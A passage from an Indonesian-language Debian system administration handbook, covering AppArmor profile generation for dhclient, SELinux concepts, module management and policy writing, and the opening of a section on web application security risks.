(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

A

Adding #include <abstractions/lightdm> to profile.

Deleted 2 previous matching profile entries.

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

[1 - /usr/sbin/dhclient]

2 - /usr/sbin/dhclient-script

(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t

S

Writing updated profile for /usr/sbin/dhclient.

Writing updated profile for /usr/sbin/dhclient-script.

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

F

Reloaded AppArmor profiles in enforce mode.

Please consider contributing your new profile!

See the following wiki page for more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Finished generating profile for /usr/sbin/dhclient.

Perhatikan bahwa program tidak menampilkan kembali karakter kontrol yang Anda ketik tapi untuk kejelasan penjelasan saya telah menyertakan mereka di transkrip sebelumnya.

Kejadian pertama yang terdeteksi adalah eksekusi program lain. Dalam hal ini, Anda memiliki beberapa pilihan: Anda dapat menjalankan program dengan profil proses induk (pilihan "Mewarisi"), Anda dapat menjalankannya sendiri dengan profil khusus (pilihan "Profile" dan "Named", hanya berbeda pada kemungkinan untuk menggunakan nama profil sebarang), Anda dapat menjalankannya dengan profil sub proses induk (pilihan "Child"), Anda dapat menjalankannya tanpa profil (pilihan "Unconfined"), atau Anda dapat memutuskan untuk tidak menjalankannya sama sekali (pilihan "Deny").

Perhatikan bahwa ketika Anda memilih untuk menjalankannya di bawah profil berdedikasi yang belum ada, alat akan membuat profil yang kurang untuk Anda dan akan membuat saran aturan untuk profil itu pada eksekusi yang sama.

Di tingkat kernel, kekuatan khusus pengguna root telah dibagi dalam "capabilities". Ketika panggilan sistem membutuhkan kemampuan tertentu, AppArmor akan memverifikasi apakah profil mengizinkan program untuk memanfaatkan kemampuan ini.

Di sini program berusaha membaca izin /etc/ssl/openssl.conf. aa-genprof mendeteksi bahwa izin ini juga diberikan oleh beberapa "abstraksi" dan menawarkan mereka sebagai pilihan alternatif. Abstraksi menyediakan seperangkat aturan akses yang dapat dipakai lagi, mengelompokkan beberapa sumber daya yang sering digunakan bersama-sama. Dalam kasus khusus ini, berkas umumnya diakses melalui fungsi terkait nameservice dari pustaka C dan kita ketik "2" untuk pertama memilih "#include <abstractions/openssl>" dan kemudian "A" untuk mengizinkannya.

Perhatikan bahwa permintaan akses ini bukan merupakan bagian dari profil dhclient tetapi dari profil baru yang kita buat ketika kita mengizinkan /usr/sbin/dhclient-script untuk berjalan dengan profilnya sendiri.

Setelah setelah melihat semua peristiwa yang dilog, program ini menawarkan untuk menyimpan semua profil yang diciptakan selama berjalan. Dalam kasus ini, kita memiliki dua profil yang kami simpan sekaligus dengan "Save" (tapi Anda dapat menyimpan mereka secara individual juga) sebelum meninggalkan program dengan "Finish".

aa-genprof sebenarnya hanya pembungkus cerdas untuk aa-logprof: itu menciptakan profil kosong, memuatnya dalam mode komplain dan kemudian menjalankan aa-logprof yang merupakan alat untuk memperbarui profil berdasarkan pelanggaran profil yang telah dicatat. Jadi Anda dapat kembali menjalankan alat tersebut kemudian untuk meningkatkan profil yang baru Anda buat.

Jika Anda ingin profil yang dihasilkan menjadi lengkap, Anda harus menggunakan program dalam semua cara yang sah digunakan. Dalam kasus dhclient, artinya menjalankannya melalui Network Manager, menjalankannya melalui ifupdown, menjalankannya secara manual, dll. Pada akhirnya, Anda mungkin mendapatkan /etc/apparmor.d/usr.sbin.dhclient dekat dengan ini:

# Last Modified: Fri Jul  5 00:51:02 2019

#include <tunables/global>

/usr/sbin/dhclient {

#include <abstractions/base>

#include <abstractions/nameservice>

capability net_bind_service,

capability net_raw,

/bin/dash r,

/etc/dhcp/* r,

/etc/dhcp/dhclient-enter-hooks.d/* r,

/etc/dhcp/dhclient-exit-hooks.d/* r,

/etc/resolv.conf.* w,

/etc/samba/dhcp.conf.* w,

/proc/*/net/dev r,

/proc/filesystems r,

/run/dhclient*.pid w,

/sbin/dhclient mr,

/sbin/dhclient-script rCx,

/usr/lib/NetworkManager/nm-dhcp-helper Px,

/var/lib/NetworkManager/* r,

/var/lib/NetworkManager/*.lease rw,

/var/lib/dhcp/*.leases rw,

owner /etc/** mrwk,

owner /var/** mrwk,

owner /{,var/}run/** mrwk,

}

Dan /etc/apparmor.d/usr.sbin.dhclient-script mungkin mirip dengan ini:

# Last Modified: Fri Jul  5 00:51:55 2019

#include <tunables/global>

/usr/sbin/dhclient-script {

#include <abstractions/base>

#include <abstractions/bash>

#include <abstractions/lightdm>

}

[6] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928160

14.5. Pengantar SELinux

14.5.1. Prinsip-prinsip

SELinux (Security Enhanced Linux) adalah sistem Mandatory Access Control yang dibangun pada antarmuka LSM (Linux Security Modules) Linux. Dalam prakteknya, kernel mengkuiri SELinux sebelum setiap panggilan sistem untuk mengetahui apakah proses terotorisasi untuk melakukan operasi tertentu.

SELinux menggunakan seperangkat aturan — secara kolektif dikenal sebagai kebijakan — untuk mengotorisasi atau melarang operasi. Aturan-aturan tersebut sulit untuk dibuat. Untungnya, dua kebijakan standar (targeted dan strict) disediakan untuk menghindari sebagian besar pekerjaan konfigurasi.

Dengan SELinux, pengelolaan hak ini benar-benar berbeda dari sistem Unix tradisional. Hak-hak proses tergantung pada konteks keamanan. Konteks didefinisikan oleh identitas pengguna yang memulai proses, peran dan domain yang dibawa oleh pengguna saat itu. Hak benar-benar tergantung pada domain, tetapi transisi antara domain dikontrol oleh peran. Terakhir, transisi yang mungkin antar peran tergantung pada identitas.

Gambar 14.1. Konteks keamanan dan pengguna Unix

Dalam prakteknya, sewaktu Anda login, pengguna akan diberi konteks keamanan standar (tergantung pada peran yang mereka harus mampu dukung). Ini mendefinisikan domain saat ini, dan dengan demikian domain yang akan dibawa oleh proses anak baru. Jika Anda ingin mengubah peran saat ini dan domain yang terkait, Anda harus menjalankan newrole -r role_r -t domain_t (biasanya ada hanya satu domain yang diperbolehkan untuk peran yang diberikan, sehingga parameter -t seringkali dapat ditinggalkan). Perintah ini mengotentikasi Anda dengan meminta Anda untuk mengetik kata sandi. Fitur ini melarang program untuk secara otomatis beralih peran. Perubahan tersebut hanya dapat terjadi jika mereka secara eksplisit diizinkan dalam kebijakan SELinux.

Tentu saja hak tidak berlaku untuk semua objek (berkas, direktori, soket, perangkat, dll). Mereka bisa bervariasi dari objek ke objek. Untuk mencapai hal ini, setiap objek dikaitkan dengan suatu tipe (ini dikenal sebagai pelabelan). Hak domain kemudian dinyatakan dengan set operasi yang (tidak) diizinkan pada tipe tersebut (dan, secara tidak langsung, pada semua objek yang dilabeli tipe tertentu).

EKSTRA Domain dan tipe adalah setara

Secara internal, domain adalah hanya sekedar tipe, tapi tipe yang hanya berlaku untuk proses. Itu sebabnya domain diberi akhiran _t seperti tipe objek.

Secara default, program mewarisi domainnya dari pengguna yang memulai, tetapi kebijakan SELinux standar berharap banyak program penting untuk dijalankan di domain yang terdedikasi. Untuk mencapai ini, executable yang diberi label dengan tipe khusus (sebagai contoh ssh diberi label dengan ssh_exec_t, dan ketika program dimulai, secara otomatis beralih ke domain ssh_t). Mekanisme transisi otomatis domain ini menjadikannya mungkin untuk memberikan hanya hak yang diperlukan oleh setiap program. Ini adalah prinsip dasar SELinux.

Gambar 14.2. Transisi otomatis antar domain

DALAM PRAKTEK Menemukan konteks keamanan

Untuk menemukan konteks keamanan proses tertentu, Anda harus menggunakan opsi Z dari ps.

$ ps axZ | grep vstfpd

system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd

Field pertama berisi identitas, peran, domain, dan tingkat MCS, dipisahkan dengan titik dua. Tingkat MCS (Multi-Category Security) adalah parameter yang ikut campur tangan dalam penyiapanan kebijakan perlindungan kerahasiaan, yang mengatur akses ke berkas berdasarkan sensitivitas mereka. Fitur ini tidak akan dijelaskan dalam buku ini.

Untuk menemukan konteks keamanan saat ini di shell, Anda harus memanggil id -Z.

$ id -Z

unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Akhirnya, untuk menemukan tipe yang ditugaskan ke sebuah berkas, Anda dapat menggunakan ls -Z.

$ ls -Z test /usr/bin/ssh

unconfined_u:object_r:user_home_t:s0 test

system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Perlu dicatat bahwa identitas dan peran yang diberikan pada suatu berkas tidak memiliki kepentingan khusus (mereka tidak pernah digunakan), tetapi demi keseragaman, semua objek mendapatkan konteks keamanan yang lengkap.

14.5.2. Menyiapkan SELinux

Dukungan SELinux dibangun ke dalam kernel standar yang disediakan oleh Debian. Alat-alat Unix inti yang mendukung SELinux tanpa modifikasi apapun. Karena itu relatif mudah untuk mengaktifkan SELinux.

Perintah apt install selinux-basics selinux-policy-default secara otomatis akan menginstal paket-paket yang diperlukan untuk mengkonfigurasi sistem SELinux.

Paket selinux-policy-default berisi serangkaian standar aturan. Secara default, kebijakan ini hanya membatasi akses untuk beberapa layanan yang terbuka lebar. Sesi pengguna yang tidak dibatasi dan tidak mungkin bahwa SELinux akan memblokir operasi pengguna yang sah. Namun, ini meningkatkan keamanan layanan sistem yang berjalan pada mesin. Untuk mennyiapkan sebuah kebijakan yang setara dengan aturan lama yang "ketat", Anda hanya perlu menonaktifkan modul unconfined (manajemen modul dirinci lebih lanjut dalam bagian ini).

Setelah kebijakan diinstal, Anda harus melabeli semua berkas yang tersedia (yang berarti menugaskan ke mereka suatu tipe). Operasi ini harus secara manual dimulai dengan fixfiles relabel.

Sistem SELinux kini siap. Untuk mengaktifkannya, Anda harus menambahkan parameter kernel Linux selinux=1 security=selinux. Parameter audit=1 memungkinkan log SELinux yang mencatat semua operasi yang ditolak. Akhirnya, parameter enforcing=1 membawa aturan ke aplikasi: tanpa itu SELinux bekerja dalam pengaturan mode permisif dimana tindakan yang ditolak dicatat tapi masih dijalankan. Anda justru harus memodifikasi berkas konfigurasi bootloader GRUB untuk menambahkan parameter yang diinginkan. Salah satu cara mudah untuk melakukan ini adalah untuk mengubah variabel GRUB_CMDLINE_LINUX dalam /etc/default/grub dan menjalankan update-grub. SELinux akan aktif setelah reboot.

Perlu dicatat bahwa skrip selinux-activate mengotomatiskan operasi itu dan memaksa pelabelan pada boot berikutnya (yang menghindari berkas baru tanpa label diciptakan sementara SELinux masih belum aktif dan sementara pelabelan terjadi).

14.5.3. Mengelola Sistem SELinux

Kebijakan SELinux adalah seperangkat aturan modular, dan instalasinya mendeteksi dan memungkinkan secara otomatis semua modul yang relevan berdasarkan layanan yang sudah terpasang. Maka sistem ini seketika operasional. Namun, ketika layanan diinstal setelah kebijakan SELinux, Anda harus mampu secara manual memfungsikan modul yang sesuai. Itulah tujuan dari perintah semodule. Lebih jauh, Anda harus mampu mendefinisikan peran yang setiap pengguna dapat mendukungnya, dan ini dapat dilakukan dengan perintah semanage.

Dua perintah tersebut dapat digunakan untuk mengubah konfigurasi SELinux saat ini, yang disimpan di /etc/selinux/default/. Tidak seperti berkas konfigurasi lain yang dapat Anda temukan di /etc/, semua berkas yang tidak boleh diubah dengan tangan. Anda harus menggunakan program-program yang dirancang untuk tujuan ini.

LEBIH JAUH Dokumentasi lain

Karena NSA tidak memberikan dokumentasi resmi, komunitas menyiapkan sebuah wiki untuk mengkompensasi. Itu mengumpulkan banyak informasi, tetapi Anda harus menyadari bahwa kebanyakan kontributor SELinux adalah pengguna Fedora (dimana SELinux diaktifkan secara default). Maka dokumentasi cenderung khusus menangani distribusi tersebut.

→ http://www.selinuxproject.org

Anda juga harus melihat di halaman wiki Debian yang terdedikasi serta blog Russell Coker, yang merupakan salah satu pengembang Debian paling aktif bekerja pada dukungan SELinux.

→ https://wiki.debian.org/SELinux

→ https://etbe.coker.com.au/tag/selinux/

14.5.3.1. Mengelola Modul SELinux

Modul-modul SELinux yang tersedia disimpan dalam direktori /usr/share/selinux/default/. Untuk mengaktifkan salah satu modul ini dalam konfigurasi saat ini, Anda harus menggunakan semodule -i module.pp.bz2. Ekstensi pp.bz2 singkatan dari policy package (paket kebijakan, dikompresi dengan bzip2).

Menghapus modul dari konfigurasi saat ini dilakukan dengan semodule -r modul. Akhirnya, perintah semodule -l menampilkan daftar modul yang saat ini diinstal. Itu juga mengeluarkan nomor versi mereka. Modul dapat diaktifkan secara selektif dengan semodule -e dan dinonaktifkan dengan semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2

libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.

# semodule -l

accountsd

acct

[...]

# semodule -e abrt

# semodule -d accountsd

# semodule -l

abrt

acct

[...]

# semodule -r abrt

libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.semodule -l

semodule seketika memuat konfigurasi baru kecuali jika Anda menggunakan opsi -n. Perlu dicatat bahwa program bertindak secara default pada konfigurasi saat ini (yang ditunjukkan oleh variabel SELINUXTYPE di /etc/selinux/config), tetapi Anda dapat memodifikasi yang lain dengan menyatakan opsi -s.

14.5.3.2. Mengelola Identitas

Setiap kali seorang pengguna login, mereka mendapatkan identitas SELinux. Identitas ini mendefinisikan peran yang mereka akan mampu dukung. Dua pemetaan itu (dari pengguna ke identitas dan dari identitas ini ke peran) dapat dikonfigurasi dengan perintah semanage.

Anda harus membaca halaman manual semanage(8). Semua konsep yang dikelola memiliki halaman manual mereka sendiri; sebagai contoh, semanage-login(8). Bahkan jika sintaks perintah cenderung menjadi serupa untuk semua konsep yang dikelola, dianjurkan untuk membaca halaman manualnya. Anda akan menemukan pilihan umum untuk semua sub perintah: -a untuk menambahkan, -d untuk menghapus, -m untuk memodifikasi, -l untuk menampilkan daftar, dan -t untuk menunjukkan tipe (atau domain).

semanage login -l daftar pemetaan saat ini antara pengidentifikasi pengguna dan identitas SELinux. Pengguna yang tidak memiliki entri eksplisit mendapatkan identitas yang ditunjukkan dalam entri __default__. Perintah semanage login -a -s user_u pengguna akan mengasosiasikan identitas user_u kepada pengguna tertentu. Akhirnya, semanage login -d pengguna menghapus entri pemetaan yang ditetapkan ke pengguna ini.

# semanage login -a -s user_u rhertzog

# semanage login -l

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *

rhertzog             user_u               s0                   *

root                 unconfined_u         s0-s0:c0.c1023       *

# semanage login -d rhertzog

semanage user -l menampilkan daftar pemetaan antara identitas pengguna SELinux dan peran yang diperbolehkan. Menambahkan identitas baru memerlukan untuk mendefinisikan peran yang sesuai dan awalan pelabelan yang digunakan untuk menetapkan suatu tipe ke berkas pribadi (/home/pengguna/*). Awalan harus dipilih di antara user, staff, dan sysadm. Awalan "staff" menghasilkan berkas-berkas bertipe "staff_home_dir_t". Menciptakan identitas pengguna baru SELinux dilakukan dengan semanage user -a -R peran -P awalan identitas. Akhirnya, Anda dapat menghapus identitas pengguna SELinux dengan semanage user -d identitas.

# semanage user -a -R 'staff_r user_r' -P staff test_u

# semanage user -l

Labeling   MLS/       MLS/

SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles

root            sysadm     s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r

staff_u         staff      s0         s0-s0:c0.c1023                 staff_r sysadm_r

sysadm_u        sysadm     s0         s0-s0:c0.c1023                 sysadm_r

system_u        user       s0         s0-s0:c0.c1023                 system_r

test_u          staff      s0         s0                             staff_r user_r

unconfined_u    unconfined s0         s0-s0:c0.c1023                 system_r unconfined_r

user_u          user       s0         s0                             user_r

# semanage user -d test_u

14.5.3.3. Mengelola Konteks Berkas, Port, dan Boolean

Setiap modul SELinux menyediakan satu set berkas aturan pelabelan, tapi juga dimungkinkan untuk menambahkan aturan pelabelan kustom untuk memenuhi kasus tertentu. Sebagai contoh, jika Anda ingin server web dapat membaca berkas dalam hirarki berkas /srv/www/, Anda bisa menjalankan semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" diikuti oleh restorecon -R /srv/www/. Perintah awal mendaftarkan aturan pelabelan baru dan yang kedua mereset tipe berkas menurut aturan pelabelan saat ini.

Demikian pula, port TCP/UDP diberi label dalam cara yang memastikan bahwa hanya daemon yang sesuai yang dapat mendengarkan mereka. Misalnya, jika Anda ingin server web dapat mendengarkan pada port 8080, Anda harus menjalankan semanage port -m -t http_port_t -p tcp 8080.

Beberapa modul SELinux mengekspor opsi boolean yang dapat Anda tala untuk mengubah perilaku aturan default. Utilitas getsebool dapat digunakan untuk memeriksa opsi-opsi itu (getsebool boolean menampilkan salah satu pilihan, dan getsebool -a untuk semua). Perintah setsebool boolean nilai mengubah nilai saat ini dari opsi boolean. Opsi -P membuat perubahan permanen, itu berarti bahwa nilai baru menjadi default dan akan dipelihara antar reboot. Contoh di bawah menghibahkan server web akses ke direktori home (ini berguna ketika pengguna memiliki website pribadi dalam ~/public_html/).

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> off

# setsebool -P httpd_enable_homedirs on

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> on

14.5.4. Mengadaptasi Aturan

Karena kebijakan SELinux modular, mungkin menarik untuk mengembangkan modul baru untuk aplikasi (mungkin kustom) yang kekurangan mereka. Modul-modul baru ini kemudian akan menyelesaikan kebijakan acuan.

Untuk membuat modul baru, paket selinux-policy-dev diperlukan, serta selinux-policy-doc. Yang kedua berisi dokumentasi aturan standar (/usr/share/doc/selinux-policy-doc/html/) dan berkas sampel yang dapat digunakan sebagai template untuk membuat modul baru. Pasang berkas tersebut dan pelajari lebih dekat:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile

$ cp /usr/share/doc/selinux-policy-doc/example.fc ./

$ cp /usr/share/doc/selinux-policy-doc/example.if ./

$ cp /usr/share/doc/selinux-policy-doc/example.te ./

Berkas .te adalah yang paling penting. Itu mendefinisikan aturan-aturan. Berkas .fc mendefinisikan "file contexts (konteks berkas)", itu adalah jenis yang ditetapkan ke berkas yang terkait dengan modul ini. Data di dalam berkas .fc digunakan selama langkah pelabelan berkas. Terakhir, berkas .if mendefinisikan antarmuka modul: ini adalah satu set "fungsi umum" yang modul lain dapat gunakan untuk berinteraksi secara benar dengan modul yang Anda buat.

14.5.4.1. Menulis suatu berkas .fc

Membaca contoh di bawah ini mestinya cukup untuk memahami struktur berkas tersebut. Anda dapat menggunakan ekspresi reguler untuk menetapkan konteks keamanan yang sama untuk beberapa berkas, atau bahkan seluruh pohon direktori.

Contoh 14.2. berkas example.fc

# myapp executable will have:

# label: system_u:object_r:myapp_exec_t

# MLS sensitivity: s0

# MCS categories: <none>

/usr/sbin/myapp         --      gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Menulis suatu Berkas .if

Dalam contoh di bawah, antarmuka yang pertama ("myapp_domtrans") mengendalikan siapa yang dapat menjalankan aplikasi. Yang kedua ("myapp_read_log") menghibahkan hak baca pada berkas log aplikasi.

Setiap antarmuka harus menghasilkan seperangkat aturan yang dapat ditanam dalam berkas .te yang valid. Anda harus menyatakan semua tipe yang Anda gunakan (dengan makro gen_require), dan menggunakan direktif standar untuk memberikan hak. Namun, perlu diketahui bahwa Anda dapat menggunakan antarmuka yang disediakan oleh modul lain. Bagian berikutnya akan memberikan penjelasan lebih lanjut tentang bagaimana untuk mengekspresikan hak tersebut.

Contoh 14.3. Berkas example.if

## <summary>Myapp example policy</summary>

## <desc>

##      <p>

##              More descriptive text about myapp.  The <desc>

##              tag can also use <p>, <ul>, and <ol>

##              html tags for formatting.

##      </p>

##      <p>

##              This policy supports the following myapp features:

##              <ul>

##              <li>Feature A</li>

##              <li>Feature B</li>

##              <li>Feature C</li>

##              </ul>

##      </p>

## </desc>

#

########################################

## <summary>

##      Execute a domain transition to run myapp.

## </summary>

## <param name="domain">

##      Domain allowed to transition.

## </param>

#

interface(`myapp_domtrans',`

gen_require(`

type myapp_t, myapp_exec_t;

')

domtrans_pattern($1,myapp_exec_t,myapp_t)

')

########################################

## <summary>

##      Read myapp log files.

## </summary>

## <param name="domain">

##      Domain allowed to read the log files.

## </param>

#

interface(`myapp_read_log',`

gen_require(`

type myapp_log_t;

')

logging_search_logs($1)

allow $1 myapp_log_t:file r_file_perms;

')

DOKUMENTASI Penjelasan tentang kebijakan referensi

Kebijakan acuan berkembang seperti proyek perangkat lunak bebas: berdasarkan kontribusi sukarela. Proyek ini diselenggarakan oleh Tresys, salah satu perusahaan yang paling aktif di bidang SELinux. Wiki mereka berisi penjelasan tentang bagaimana aturan yang terstruktur dan bagaimana Anda dapat membuat yang baru.

→ https://github.com/TresysTechnology/refpolicy/wiki/GettingStarted

14.5.4.3. Menulis suatu Berkas .te

Silakan lihat berkas example.te:

LEBIH JAUH Bahasa makro m4

Untuk menstrukturkan kebijakan dengan benar, para pengembang SELinux menggunakan prosesor macro-command. Bukan menduplikasi banyak direktif allow yang serupa, mereka menciptakan "makro fungsi" untuk menggunakan logika tingkat yang lebih tinggi, yang juga menghasilkan kebijakan yang jauh lebih mudah dibaca.

Dalam prakteknya, m4 digunakan untuk mengkompail aturan itu. Itu melakukan operasi yang berlawanan: mengekspansi semua direktif tingkat tinggi tersebut ke dalam basis data besar direktif allow.

"interface" SELinux adalah satu-satunya fungsi makro yang akan digantikan oleh satu set aturan pada waktu kompilasi. Demikian juga, beberapa hak yang sebenarnya adalah set hak yang digantikan oleh nilai-nilai mereka pada waktu kompilasi.

policy_module(myapp,1.0.0)

########################################

#

# Declarations

#

type myapp_t;

type myapp_exec_t;

domain_type(myapp_t)

domain_entry_file(myapp_t, myapp_exec_t)

type myapp_log_t;

logging_log_file(myapp_log_t)

type myapp_tmp_t;

files_tmp_file(myapp_tmp_t)

########################################

#

# Myapp local policy

#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms };

allow myapp_t myapp_tmp_t:file manage_file_perms;

files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

Modul harus diidentifikasi oleh nama dan nomor versinya. Direktif ini diperlukan.

Jika modul memperkenalkan tipe baru, itu harus menyatakan mereka dengan direktif seperti ini. Jangan ragu untuk menciptakan tipe sebanyak yang diperlukan daripada memberikan terlalu banyak hak yang tidak berguna.

Antarmuka tersebut mendefinisikan tipe myapp_t sebagai domain proses yang harus digunakan oleh setiap executable yang dilabeli dengan myapp_exec_t. Secara implisit, ini menambah atribut exec_type pada objek tersebut, yang pada gilirannya memungkinkan modul lain untuk memberikan hak untuk mengeksekusi program-program tersebut: sebagai contoh, modul userdomain memungkinkan proses dengan domain user_t, staff_t, dan sysadm_t untuk mengeksekusi mereka. Domain aplikasi terbatas yang lain tidak akan memiliki hak untuk mengeksekusi mereka, kecuali aturan memberi mereka hak-hak yang sama (ini adalah kasus, misalnya, dari dpkg dengan domainnya dpkg_t).

logging_log_file adalah antarmuka yang disediakan oleh kebijakan referensi. Itu menunjukkan bahwa berkas yang dilabeli dengan tipe yang diberikan adalah berkas log yang seharusnya mendapatkan keuntungan dari aturan terkait (misalnya memberikan hak kepada logrotate sehingga dapat memanipulasi mereka).

Direktif allow adalah petunjuk dasar yang digunakan untuk mengesahkan suatu operasi. Parameter pertama adalah domain proses yang diperbolehkan untuk mengeksekusi operasi. Yang kedua mendefinisikan objek dimana proses dari domain sebelumnya dapat memanipulasi. Parameter ini berbentuk "tipe:kelas" dimana tipe adalah tipe SELinux dan kelas menggambarkan sifat objek (berkas, direktori, soket, fifo, dll). Parameter terakhir menjelaskan hak akses (operasi yang diizinkan).

Izin didefinisikan sebagai serangkaian operasi yang diperbolehkan dan mengikuti template ini: { operasi1 operasi2 }. Namun, Anda juga dapat menggunakan makro yang mewakili izin yang paling berguna. /usr/share/selinux/devel/include/support/obj_perm_sets.spt memuat daftar mereka.

Halaman web berikut menyediakan daftar relatif lengkap dari kelas objek, dan izin yang dapat diberikan.

→ https://www.selinuxproject.org/page/ObjectClassesPerms

Sekarang Anda hanya perlu menemukan set minimalis aturan-aturan yang diperlukan untuk memastikan bahwa aplikasi atau layanan target bekerja dengan baik. Untuk mencapai ini, Anda harus memiliki pengetahuan yang baik tentang bagaimana aplikasi bekerja dan jenis data apa yang dikelola dan/atau dihasilkan.

Namun, pendekatan empiris mungkin. Setelah objek relevan dilabeli dengan benar, Anda dapat menggunakan aplikasi dalam mode permisif: operasi yang akan dilarang dicatat tetapi masih berhasil. Dengan menganalisis log, Anda sekarang dapat mengidentifikasi operasi yang akan diizinkan. Berikut adalah contoh seperti entri log:

avc:  denied  { read write } for  pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

Untuk lebih memahami pesan ini, marilah kita pelajari sepotong demi sepotong.

Tabel 14.1. Analisis jejak SELinux

Pesan

Deskripsi

avc: denied

Operasi telah ditolak.

{ read write }

Operasi ini memerlukan izin read dan write.

pid=1876

Proses dengan PID 1876 menjalankan operasi (atau mencoba untuk menjalankannya).

comm="syslogd"

Proses adalah instance dari program syslogd.

name="xconsole"

Objek target dinamai xconsole. Kadang-kadang Anda dapat juga memiliki variabel "path" — dengan path lengkap — sebagai pengganti.

dev=tmpfs

Perangkat yang mewadahi objek target ini adalah tmpfs (suatu sistem berkas di memori). Untuk disk sungguhan, Anda bisa melihat partisi yang mewadahi objek (misalnya: "sda3").

ino=5510

Objek diidentifikasi oleh nomor inode 5510.

scontext=system_u:system_r:syslogd_t:s0

Ini adalah konteks keamanan dari proses yang menjalankan operasi.

tcontext=system_u:object_r:device_t:s0

Ini adalah konteks keamanan objek target.

tclass=fifo_file

Objek target adalah suatu berkas FIFO.

Dengan mengamati entri log ini, mungkin untuk membangun sebuah aturan yang akan memungkinkan operasi ini. Sebagai contoh: allow syslogd_t device_t:fifo_file { read write }. Proses ini dapat diotomatiskan, dan itu persis apa yang ditawarkan oleh perintah audit2allow (dari paket policycoreutils). Pendekatan ini hanya berguna jika berbagai objek sudah benar dilabeli menurut apa harus dibatasi. Dalam hal apapun, Anda harus hati-hati meninjau aturan yang dihasilkan dan memvalidasi mereka menurut pengetahuan Anda tentang aplikasi. Secara efektif, pendekatan ini cenderung untuk memberikan hak lebih daripada yang benar-benar diperlukan. Solusi yang tepat seringkali adalah dengan menciptakan tipe baru dan memberikan hak hanya pada tipe tersebut. Terjadi juga bahwa operasi yang ditolak tidak fatal ke aplikasi, dalam hal itu mungkin lebih baik untuk hanya menambahkan aturan "dontaudit" untuk menghindari entri log meskipun ada penyangkalan efektif.

KOMPLEMEN Tidak ada peran dalam aturan kebijakan

Mungkin tampak aneh bahwa peran tidak muncul sama sekali ketika membuat aturan baru. SELinux hanya menggunakan domain untuk mengetahui operasi yang diperbolehkan. Peran campur tangan hanya secara tidak langsung dengan mengizinkan pengguna untuk beralih ke domain lain. SELinux didasarkan pada teori yang dikenal sebagai Type Enforcement (penegakan tipe) dan tipe adalah satu-satunya unsur yang penting ketika memberi hak.

14.5.4.4. Mengkompilasi Berkas

Setelah 3 berkas (example.if, example.fc, dan example.te) sesuai harapan Anda untuk aturan baru, ubah nama mereka menjadi myapp.extension dan jalankan make NAME=devel untuk menghasilkan suatu modul dalam berkas myapp.pp (Anda dapat seketika memuatnya dengan semodule -i myapp.pp). Jika beberapa modul yang didefinisikan, make akan membuat semua berkas .pp yang sesuai.

14.6. Pertimbangan Lain Terkait Keamanan

Keamanan bukan hanya masalah teknis; lebih dari apa pun, ini adalah tentang praktek-praktek yang baik dan memahami risiko-risiko. Bagian ini mengulas beberapa risiko yang lebih umum, serta beberapa praktek terbaik yang mestinya, tergantung dari kasus, meningkatkan keamanan atau mengurangi dampak dari suatu penyerangan yang sukses.

14.6.1. Risiko Inheren Aplikasi Web

Karakter universal aplikasi web mengarah ke proliferasi mereka. Beberapa sering berjalan secara paralel: webmail, wiki, beberapa sistem groupware, forum, galeri foto, blog, dan sebagainya. Banyak aplikasi yang bergantung pada tumpukan "LAMP" (Linux, Apache, MySQL, PHP). Sayangnya, banyak dari aplikasi tersebut juga ditulis tanpa banyak pertimbangan untuk masalah keamanan. Data yang berasal dari luar, terlalu sering, digunakan dengan sedikit atau tanpa validasi. Memberikan nilai-nilai yang dibuat khusus dapat digunakan untuk mengalihkan panggilan ke perintah sehingga yang lain itu yang dijalankan sebagai gantinya. Banyak masalah yang paling jelas telah diperbaiki ketika waktu telah berlalu, tetapi masalah-masalah keamanan yang baru muncul secara teratur.

KOSAKATA Injeksi SQL

Ketika sebuah program memasukkan data ke dalam query SQL dalam cara yang tidak aman, itu menjadi rentan terhadap injeksi SQL; nama ini mencakup aksi mengubah parameter sedemikian rupa sehingga query sebenarnya yang dijalankan oleh program ini berbeda dari yang dimaksudkan, baik untuk merusak basis data atau mengakses data yang biasanya tidak boleh diakses.

→ https://en.wikipedia.org/wiki/SQL_Injection

Memperbarui aplikasi web secara teratur adalah suatu keharusan, supaya cracker manapun (baik penyerang profesional atau script kiddy) dapat mengeksploitasi kerentanan yang dikenal. Risiko aktual tergantung pada kasus, dan berkisar dari kehancuran data sampai eksekusi sebarang kode, termasuk penodaan situs web.

14.6.2. Mengetahui Apa Yang Diharapkan

Kerentanan dalam aplikasi web sering digunakan sebagai titik awal untuk upaya cracking. Berikut ini adalah tinjauan singkat dari kemungkinan konsekuensi.

LIHAT CEPAT Memfilter kueri HTTP

